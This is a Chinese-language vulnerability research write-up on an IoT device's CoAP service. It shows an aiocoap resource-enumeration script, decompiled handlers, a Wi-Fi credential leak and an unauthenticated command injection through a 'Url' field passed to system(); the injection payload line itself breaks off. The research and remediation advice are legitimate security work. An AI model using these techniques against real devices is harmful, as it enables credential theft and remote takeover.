2022-03-11 03:54:46
某设备CoAP协议漏洞挖掘实战的核心步骤包括协议分析、资源发现、逆向工程及漏洞验证,最终发现信息泄露与命令注入两类高危漏洞。 以下是具体过程与成果:
一、CoAP协议基础分析协议定位CoAP是基于UDP的轻量化HTTP协议,适用于物联网受限环境,默认端口为5683(NoSec模式)或5684(DTLS加密)。其核心机制包括:
Resource Discovery:通过.well-known/core URI获取设备资源列表,例如:
REQ: GET coap://server:5683/.well-known/coreRES: 2.05 Content </sensors/temp>;if="sensor", </sensors/light>;if="sensor"安全机制:支持NoSec、PreSharedKey、RawPublicKey、Certificate四种模式,但仅NoSec与RawPublicKey为强制实现。
安全风险点
协议解析漏洞:URI处理、数据包解析逻辑可能存在缓冲区溢出或注入风险。
代理与缓存:中间节点可能破坏IPsec/DTLS保护。
反射攻击:UDP协议易被利用放大流量(如CoAP反射DDoS)。
跨协议攻击:伪造源地址绕过防火墙规则。
设备端口扫描与协议识别通过netstat确认设备开放5683端口(NoSec模式):
udp 0 0 0.0.0.0:5683 0.0.0.0:*资源发现与枚举使用aiocoap库发送GET请求,获取设备资源列表:
import asynciofrom aiocoap import *async def main(): protocol = await Context.create_client_context() msg = Message(code=GET, uri="coap://192.168.1.1:5683/.well-known/core") response = await protocol.request(msg).response print(response.payload)asyncio.run(main())输出结果:
b'</>;title="General Info";ct=0,...<device/inform/boot>;title=device/inform/boot,<device/cmd/file>;title=device/cmd/file'逆向工程分析通过二进制逆向定位资源处理函数,例如:
void *start_coap_server_thread(void *a1) { registerCoapMethod("device/inform/boot", coapboot_handler); registerCoapMethod("device/cmd/file", coapdata_url_handler); startCoapService("0.0.0.0", 5683);}信息泄露漏洞(coapsync_handler)
漏洞原理:函数将设备Wi-Fi凭证(SSID、密码)以JSON格式返回给客户端。
代码片段:
cJSON_AddItemToObject(v73, "SSID", v13);cJSON_AddItemToObject(v73, "Pwd", v15); // 直接返回明文密码影响:攻击者可直接获取设备网络配置,用于横向渗透。

命令注入漏洞(recv_cmdfile_handler)
漏洞原理:Url字段未过滤特殊字符,拼接至system()执行命令。
攻击链:
发送恶意POST请求,注入Url参数:
{"Url": "设备解析后调用do_upgrade,执行恶意命令:
snprintf(cmd, 0x180u, "wget -q -P /var/tmp/ %s", Url);system(cmd); // 未授权RCE影响:完全控制设备,可部署后门或进一步攻击内网。
Ghidra/IDA Pro:二进制代码静态分析。
Wireshark:抓包分析协议交互流程。
总结:本次实战通过协议分析、资源枚举与逆向工程,成功挖掘出两类高危漏洞,验证了CoAP协议在物联网设备中的安全风险。建议厂商修复信息泄露问题,并对命令拼接逻辑添加输入过滤。